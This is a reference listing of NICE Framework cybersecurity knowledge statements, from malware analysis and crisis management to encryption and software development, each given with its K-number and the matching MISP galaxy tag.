Knowledge of malware analysis tools and techniques - K0857

Knowledge of malware analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of malware analysis tools and techniques - K0857"*

Knowledge of crisis management protocols - K0899

Knowledge of crisis management protocols

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of crisis management protocols - K0899"*

Knowledge of crisis management processes - K0900

Knowledge of crisis management processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of crisis management processes - K0900"*

Knowledge of crisis management tools and techniques - K0901

Knowledge of crisis management tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of crisis management tools and techniques - K0901"*

Knowledge of malware analysis principles and practices - K0916

Knowledge of malware analysis principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of malware analysis principles and practices - K0916"*

Knowledge of operational design principles and practices - K0959

Knowledge of operational design principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operational design principles and practices - K0959"*

Knowledge of content management system (CMS) capabilities and applications - K0960

Knowledge of content management system (CMS) capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of content management system (CMS) capabilities and applications - K0960"*

Knowledge of planning systems and software - K0961

Knowledge of planning systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of planning systems and software - K0961"*

Knowledge of cyber-attack tools and techniques - K0969

Knowledge of cyber-attack tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber-attack tools and techniques - K0969"*

Knowledge of intelligence collection planning processes - K0978

Knowledge of intelligence collection planning processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection planning processes - K0978"*

Knowledge of web security principles and practices - K0984

Knowledge of web security principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of web security principles and practices - K0984"*

Knowledge of crisis action plan models and frameworks - K0985

Knowledge of crisis action plan models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of crisis action plan models and*

frameworks - K0985"

Knowledge of cyber operations principles and practices - K0990

Knowledge of cyber operations principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber operations principles and practices - K0990"*

Knowledge of intelligence support activities - K1008

Knowledge of intelligence support activities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence support activities - K1008"*

Knowledge of threat intelligence principles and practices - K1009

Knowledge of threat intelligence principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of threat intelligence principles and practices - K1009"*

Knowledge of network addressing principles and practices - K1011

Knowledge of network addressing principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network addressing principles and practices - K1011"*

Knowledge of operational effectiveness assessment principles and practices - K1017

Knowledge of operational effectiveness assessment principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operational effectiveness assessment principles and practices - K1017"*

Knowledge of organization decision support tools and techniques - K1020

Knowledge of organization decision support tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organization decision support tools and techniques - K1020"*

Knowledge of decision-making policies and procedures - K1025

Knowledge of decision-making policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of decision-making policies and procedures - K1025"*

Knowledge of target development principles and practices - K1028

Knowledge of target development principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target development principles and practices - K1028"*

Knowledge of operational planning tools and techniques - K1030

Knowledge of operational planning tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operational planning tools and techniques - K1030"*

Knowledge of target research tools and techniques - K1035

Knowledge of target research tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target research tools and techniques - K1035"*

Knowledge of target organization structures - K1036

Knowledge of target organization structures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target organization structures -*

K1036"

Knowledge of target critical capabilities - K1037

Knowledge of target critical capabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target critical capabilities - K1037"*

Knowledge of target critical vulnerabilities - K1038

Knowledge of target critical vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target critical vulnerabilities - K1038"*

Knowledge of red team functions and capabilities - K1054

Knowledge of red team functions and capabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of red team functions and capabilities - K1054"*

Knowledge of network operations principles and practices - K1065

Knowledge of network operations principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network operations principles and practices - K1065"*

Knowledge of threat behaviors - K1066

Knowledge of threat behaviors

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of threat behaviors - K1066"*

Knowledge of target behaviors - K1067

Knowledge of target behaviors

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target behaviors - K1067"*

Knowledge of analytics - K1101

Knowledge of analytics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of analytics - K1101"*

Knowledge of virtual collaborative workspace tools and techniques - K1109

Knowledge of virtual collaborative workspace tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of virtual collaborative workspace tools and techniques - K1109"*

Knowledge of encryption algorithms - K0018

Knowledge of encryption algorithms

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of encryption algorithms - K0018"*

Knowledge of microprocessors - K0055

Knowledge of microprocessors

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of microprocessors - K0055"*

Knowledge of technology integration processes - K0092

Knowledge of technology integration processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of technology integration processes - K0092"*

Knowledge of system optimization techniques - K0646

Knowledge of system optimization techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system optimization techniques - K0646"*

Knowledge of computer networking protocols - K0674

Knowledge of computer networking protocols

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of computer networking protocols - K0674"*

Knowledge of risk management processes - K0675

Knowledge of risk management processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk management processes - K0675"*

Knowledge of cybersecurity laws and regulations - K0676

Knowledge of cybersecurity laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity laws and regulations - K0676"*

Knowledge of cybersecurity policies and procedures - K0677

Knowledge of cybersecurity policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity policies and procedures - K0677"*

Knowledge of privacy laws and regulations - K0678

Knowledge of privacy laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of privacy laws and regulations - K0678"*

Knowledge of privacy policies and procedures - K0679

Knowledge of privacy policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of privacy policies and procedures - K0679"*

Knowledge of cybersecurity principles and practices - K0680

Knowledge of cybersecurity principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity principles and practices - K0680"*

Knowledge of privacy principles and practices - K0681

Knowledge of privacy principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of privacy principles and practices - K0681"*

Knowledge of cybersecurity threats - K0682

Knowledge of cybersecurity threats

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity threats - K0682"*

Knowledge of cybersecurity vulnerabilities - K0683

Knowledge of cybersecurity vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity vulnerabilities - K0683"*

Knowledge of cybersecurity threat characteristics - K0684

Knowledge of cybersecurity threat characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity threat characteristics - K0684"*

Knowledge of access control principles and practices - K0685

Knowledge of access control principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of access control principles and practices - K0685"*

Knowledge of authentication and authorization tools and techniques - K0686

Knowledge of authentication and authorization tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of authentication and authorization tools and techniques - K0686"*

Knowledge of business operations standards and best practices - K0687

Knowledge of business operations standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of business operations standards and best practices - K0687"*

Knowledge of common application vulnerabilities - K0688

Knowledge of common application vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of common application vulnerabilities - K0688"*

Knowledge of network infrastructure principles and practices - K0689

Knowledge of network infrastructure principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network infrastructure principles and practices - K0689"*

Knowledge of requirements analysis principles and practices - K0690

Knowledge of requirements analysis principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of requirements analysis principles and practices - K0690"*

Knowledge of cyber defense tools and techniques - K0691

Knowledge of cyber defense tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber defense tools and techniques - K0691"*

Knowledge of vulnerability assessment tools and techniques - K0692

Knowledge of vulnerability assessment tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of vulnerability assessment tools and techniques - K0692"*

Knowledge of computer algorithm capabilities and applications - K0694

Knowledge of computer algorithm capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of computer algorithm capabilities and applications - K0694"*

Knowledge of cryptographic key management principles and practices - K0698

Knowledge of cryptographic key management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cryptographic key management principles and practices - K0698"*

Knowledge of database systems and software - K0707

Knowledge of database systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of database systems and software - K0707"*

Knowledge of business continuity and disaster recovery (BCDR) policies and procedures - K0709

Knowledge of business continuity and disaster recovery (BCDR) policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of business continuity and disaster recovery (BCDR) policies and procedures - K0709"*

Knowledge of enterprise cybersecurity architecture principles and practices - K0710

Knowledge of enterprise cybersecurity architecture principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of enterprise cybersecurity architecture principles and practices - K0710"*

Knowledge of electrical engineering principles and practices - K0714

Knowledge of electrical engineering principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of electrical engineering principles and practices - K0714"*

Knowledge of network communications principles and practices - K0718

Knowledge of network communications principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network communications principles and practices - K0718"*

Knowledge of human-computer interaction (HCI) principles and practices - K0719

Knowledge of human-computer interaction (HCI) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of human-computer interaction (HCI) principles and practices - K0719"*

Knowledge of Security Assessment and Authorization (SA&A) processes - K0720

Knowledge of Security Assessment and Authorization (SA&A) processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Security Assessment and Authorization (SA&A) processes - K0720"*

Knowledge of analysis standards and best practices - K0727

Knowledge of analysis standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of analysis standards and best practices - K0727"*

Knowledge of Confidentiality, Integrity and Availability (CIA) principles and practices - K0728

Knowledge of Confidentiality, Integrity and Availability (CIA) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Confidentiality, Integrity and Availability (CIA) principles and practices - K0728"*

Knowledge of non-repudiation principles and practices - K0729

Knowledge of non-repudiation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of non-repudiation principles and practices - K0729"*

Knowledge of cyber safety principles and practices - K0730

Knowledge of cyber safety principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber safety principles and practices - K0730"*

Knowledge of systems security engineering (SSE) principles and practices - K0731

Knowledge of systems security engineering (SSE) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems security engineering (SSE) principles and practices - K0731"*

Knowledge of information technology (IT) security principles and practices - K0736

Knowledge of information technology (IT) security principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information technology (IT) security principles and practices - K0736"*

Knowledge of mathematics principles and practices - K0739

Knowledge of mathematics principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of mathematics principles and practices - K0739"*

Knowledge of identity and access management (IAM) principles and practices - K0742

Knowledge of identity and access management (IAM) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of identity and access management (IAM) principles and practices - K0742"*

Knowledge of new and emerging technologies - K0743

Knowledge of new and emerging technologies

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of new and emerging technologies - K0743"*

Knowledge of operating system (OS) systems and software - K0744

Knowledge of operating system (OS) systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operating system (OS) systems and software - K0744"*

Knowledge of parallel and distributed computing principles and practices - K0745

Knowledge of parallel and distributed computing principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of parallel and distributed computing principles and practices - K0745"*

Knowledge of process engineering principles and practices - K0749

Knowledge of process engineering principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of process engineering principles and practices - K0749"*

Knowledge of system threats - K0751

Knowledge of system threats

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system threats - K0751"*

Knowledge of system vulnerabilities - K0752

Knowledge of system vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system vulnerabilities - K0752"*

Knowledge of remote access principles and practices - K0753

Knowledge of remote access principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of remote access principles and practices - K0753"*

Knowledge of security management principles and practices - K0756

Knowledge of security management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security management principles and practices - K0756"*

Knowledge of system design tools and techniques - K0757

Knowledge of system design tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system design tools and techniques - K0757"*

Knowledge of server administration principles and practices - K0758

Knowledge of server administration principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of server administration principles and practices - K0758"*

Knowledge of client and server architecture - K0759

Knowledge of client and server architecture

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of client and server architecture - K0759"*

Knowledge of software engineering principles and practices - K0765

Knowledge of software engineering principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software engineering principles and practices - K0765"*

Knowledge of automated systems analysis tools and techniques - K0768

Knowledge of automated systems analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of automated systems analysis tools and techniques - K0768"*

Knowledge of systems testing and evaluation tools and techniques - K0772

Knowledge of systems testing and evaluation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems testing and evaluation tools and techniques - K0772"*

Knowledge of telecommunications principles and practices - K0773

Knowledge of telecommunications principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of telecommunications principles and practices - K0773"*

Knowledge of enterprise information technology (IT) architecture principles and practices - K0778

Knowledge of enterprise information technology (IT) architecture principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of enterprise information technology (IT) architecture principles and practices - K0778"*

Knowledge of systems engineering processes - K0779

Knowledge of systems engineering processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems engineering processes -*

K0779"

Knowledge of defense-in-depth principles and practices - K0791

Knowledge of defense-in-depth principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of defense-in-depth principles and practices - K0791"*

Knowledge of secure coding tools and techniques - K0814

Knowledge of secure coding tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of secure coding tools and techniques - K0814"*

Knowledge of risk assessment principles and practices - K0835

Knowledge of risk assessment principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk assessment principles and practices - K0835"*

Knowledge of threat assessment principles and practices - K0836

Knowledge of threat assessment principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of threat assessment principles and practices - K0836"*

Knowledge of critical infrastructure systems and software - K0839

Knowledge of critical infrastructure systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of critical infrastructure systems and software - K0839"*

Knowledge of hardware reverse engineering tools and techniques - K0840

Knowledge of hardware reverse engineering tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of hardware reverse engineering tools and techniques - K0840"*

Knowledge of software reverse engineering tools and techniques - K0842

Knowledge of software reverse engineering tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software reverse engineering tools and techniques - K0842"*

Knowledge of secure software deployment principles and practices - K0846

Knowledge of secure software deployment principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of secure software deployment principles and practices - K0846"*

Knowledge of secure software deployment tools and techniques - K0847

Knowledge of secure software deployment tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of secure software deployment tools and techniques - K0847"*

Knowledge of network systems management principles and practices - K0848

Knowledge of network systems management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network systems management principles and practices - K0848"*

Knowledge of network systems management tools and techniques - K0849

Knowledge of network systems management tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network systems management tools and techniques - K0849"*

Knowledge of reverse engineering principles and practices - K0851

Knowledge of reverse engineering principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of reverse engineering principles and practices - K0851"*

Knowledge of encryption tools and techniques - K0859

Knowledge of encryption tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of encryption tools and techniques - K0859"*

Knowledge of data classification standards and best practices - K0865

Knowledge of data classification standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data classification standards and best practices - K0865"*

Knowledge of data classification tools and techniques - K0866

Knowledge of data classification tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data classification tools and techniques - K0866"*

Knowledge of process improvement principles and practices - K0868

Knowledge of process improvement principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of process improvement principles and practices - K0868"*

Knowledge of process maturity models and frameworks - K0869

Knowledge of process maturity models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of process maturity models and frameworks - K0869"*

Knowledge of enterprise architecture (EA) reference models and frameworks - K0870

Knowledge of enterprise architecture (EA) reference models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of enterprise architecture (EA) reference models and frameworks - K0870"*

Knowledge of enterprise architecture (EA) principles and practices - K0871

Knowledge of enterprise architecture (EA) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of enterprise architecture (EA) principles and practices - K0871"*

Knowledge of service management principles and practices - K0872

Knowledge of service management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of service management principles and practices - K0872"*

Knowledge of service management standards and best practices - K0873

Knowledge of service management standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of service management standards and best practices - K0873"*

Knowledge of key management service (KMS) principles and practices - K0874

Knowledge of key management service (KMS) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of key management service (KMS) principles and practices - K0874"*

Knowledge of symmetric encryption principles and practices - K0875

Knowledge of symmetric encryption principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of symmetric encryption principles and practices - K0875"*

Knowledge of key management service (KMS) key rotation policies and procedures - K0876

Knowledge of key management service (KMS) key rotation policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of key management service (KMS) key rotation policies and procedures - K0876"*

Knowledge of application firewall principles and practices - K0877

Knowledge of application firewall principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of application firewall principles and practices - K0877"*

Knowledge of network firewall principles and practices - K0878

Knowledge of network firewall principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network firewall principles and practices - K0878"*

Knowledge of the Open Systems Interconnect (OSI) reference model - K0891

Knowledge of the Open Systems Interconnect (OSI) reference model

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of the Open Systems Interconnect (OSI) reference model - K0891"*

Knowledge of computer architecture principles and practices - K0894

Knowledge of computer architecture principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of computer architecture principles and practices - K0894"*

Knowledge of multi-level security (MLS) systems and software - K0906

Knowledge of multi-level security (MLS) systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of multi-level security (MLS) systems and software - K0906"*

Knowledge of cross-domain solutions - K0907

Knowledge of cross-domain solutions

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cross-domain solutions - K0907"*

Knowledge of network architecture principles and practices - K0915

Knowledge of network architecture principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network architecture principles and practices - K0915"*

Knowledge of Personally Identifiable Information (PII) data security standards and best practices - K0917

Knowledge of Personally Identifiable Information (PII) data security standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Personally Identifiable Information (PII) data security standards and best practices - K0917"*

Knowledge of Payment Card Industry (PCI) data security standards and best practices - K0918

Knowledge of Payment Card Industry (PCI) data security standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Payment Card Industry (PCI) data security standards and best practices - K0918"*

Knowledge of Personal Health Information (PHI) data security standards and best practices - K0919

Knowledge of Personal Health Information (PHI) data security standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Personal Health Information (PHI) data security standards and best practices - K0919"*

Knowledge of program protection plan (PPP) principles and practices - K0921

Knowledge of program protection plan (PPP) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of program protection plan (PPP) principles and practices - K0921"*

Knowledge of configuration management tools and techniques - K0927

Knowledge of configuration management tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of configuration management tools and techniques - K0927"*

Knowledge of systems engineering principles and practices - K0928

Knowledge of systems engineering principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems engineering principles and practices - K0928"*

Knowledge of N-tier architecture principles and practices - K0933

Knowledge of N-tier architecture principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of N-tier architecture principles and practices - K0933"*

Knowledge of data classification policies and procedures - K0934

Knowledge of data classification policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data classification policies and procedures - K0934"*

Knowledge of cryptology principles and practices - K0942

Knowledge of cryptology principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cryptology principles and practices - K0942"*

Knowledge of computer engineering principles and practices - K0947

Knowledge of computer engineering principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of computer engineering principles and practices - K0947"*

Knowledge of embedded systems and software - K0948

Knowledge of embedded systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of embedded systems and software - K0948"*

Knowledge of fault tolerance tools and techniques - K0949

Knowledge of fault tolerance tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of fault tolerance tools and techniques - K0949"*

Knowledge of information theory principles and practices - K0952

Knowledge of information theory principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information theory principles and practices - K0952"*

Knowledge of computer networking principles and practices - K0983

Knowledge of computer networking principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of computer networking principles and practices - K0983"*

Knowledge of network security principles and practices - K1014

Knowledge of network security principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network security principles and practices - K1014"*

Knowledge of routing protocols - K1049

Knowledge of routing protocols

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of routing protocols - K1049"*

Knowledge of secure software update principles and practices - K1080

Knowledge of secure software update principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of secure software update principles and practices - K1080"*

Knowledge of secure firmware update principles and practices - K1081

Knowledge of secure firmware update principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of secure firmware update principles and practices - K1081"*

Knowledge of design modeling - K1086

Knowledge of design modeling

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of design modeling - K1086"*

Knowledge of design methods - K1095

Knowledge of design methods

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of design methods - K1095"*

Knowledge of acquisition cybersecurity requirements - K1110

Knowledge of acquisition cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of acquisition cybersecurity requirements - K1110"*

Knowledge of application security design principles and practices - K1111

Knowledge of application security design principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of application security design principles and practices - K1111"*

Knowledge of Confidentiality, Integrity, Availability, Authenticity, and Non-repudiation (CIAAN) principles and practices - K1120

Knowledge of Confidentiality, Integrity, Availability, Authenticity, and Non-repudiation (CIAAN) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Confidentiality, Integrity, Availability, Authenticity, and Non-repudiation (CIAAN) principles and practices - K1120"*

Knowledge of cybersecurity requirements - K1137

Knowledge of cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity requirements - K1137"*

Knowledge of data classification levels - K1143

Knowledge of data classification levels

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data classification levels - K1143"*

Knowledge of fail-over or alternate site requirements - K1159

Knowledge of fail-over or alternate site requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of fail-over or alternate site requirements - K1159"*

Knowledge of material supportability requirements - K1169

Knowledge of material supportability requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of material supportability requirements - K1169"*

Knowledge of multilevel security requirements - K1173

Knowledge of multilevel security requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of multilevel security requirements - K1173"*

Knowledge of Personally Identifiable Information (PII) attributes - K1194

Knowledge of Personally Identifiable Information (PII) attributes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Personally Identifiable Information (PII) attributes - K1194"*

Knowledge of security controls - K1212

Knowledge of security controls

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security controls - K1212"*

Knowledge of service-oriented security architecture practices and principles - K1216

Knowledge of service-oriented security architecture practices and principles

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of service-oriented security architecture practices and principles - K1216"*

Knowledge of system backup requirements - K1223

Knowledge of system backup requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system backup requirements - K1223"*

Knowledge of user requirements - K1236

Knowledge of user requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of user requirements - K1236"*

Knowledge of programming language structures and logic - K0068

Knowledge of programming language structures and logic

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of programming language structures and logic - K0068"*

Knowledge of code tailoring tools and techniques - K0639

Knowledge of code tailoring tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of code tailoring tools and techniques - K0639"*

Knowledge of complex data structure capabilities and applications - K0693

Knowledge of complex data structure capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of complex data structure capabilities and applications - K0693"*

Knowledge of programming principles and practices - K0695

Knowledge of programming principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of programming principles and practices - K0695"*

Knowledge of Local Area Networks (LAN) - K0712

Knowledge of Local Area Networks (LAN)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Local Area Networks (LAN) - K0712"*

Knowledge of Wide Area Networks (WAN) - K0713

Knowledge of Wide Area Networks (WAN)

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Wide Area Networks (WAN) - K0713"*

Knowledge of risk management principles and practices - K0721

Knowledge of risk management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk management principles and practices - K0721"*

Knowledge of software development principles and practices - K0722

Knowledge of software development principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software development principles and practices - K0722"*

Knowledge of Risk Management Framework (RMF) requirements - K0734

Knowledge of Risk Management Framework (RMF) requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Risk Management Framework (RMF) requirements - K0734"*

Knowledge of risk management models and frameworks - K0735

Knowledge of risk management models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk management models and frameworks - K0735"*

Knowledge of bandwidth management tools and techniques - K0737

Knowledge of bandwidth management tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of bandwidth management tools and techniques - K0737"*

Knowledge of low-level programming languages - K0738

Knowledge of low-level programming languages

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of low-level programming languages - K0738"*

Knowledge of Privacy Impact Assessment (PIA) principles and practices - K0748

Knowledge of Privacy Impact Assessment (PIA) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Privacy Impact Assessment (PIA) principles and practices - K0748"*

Knowledge of configuration management (CM) tools and techniques - K0755

Knowledge of configuration management (CM) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of configuration management (CM) tools and techniques - K0755"*

Knowledge of software debugging principles and practices - K0762

Knowledge of software debugging principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software debugging principles and practices - K0762"*

Knowledge of software design tools and techniques - K0763

Knowledge of software design tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software design tools and techniques - K0763"*

Knowledge of software development models and frameworks - K0764

Knowledge of software development models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software development models and frameworks - K0764"*

Knowledge of structured analysis principles and practices - K0767

Knowledge of structured analysis principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of structured analysis principles and practices - K0767"*

Knowledge of web service protocols - K0782

Knowledge of web service protocols

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of web service protocols - K0782"*

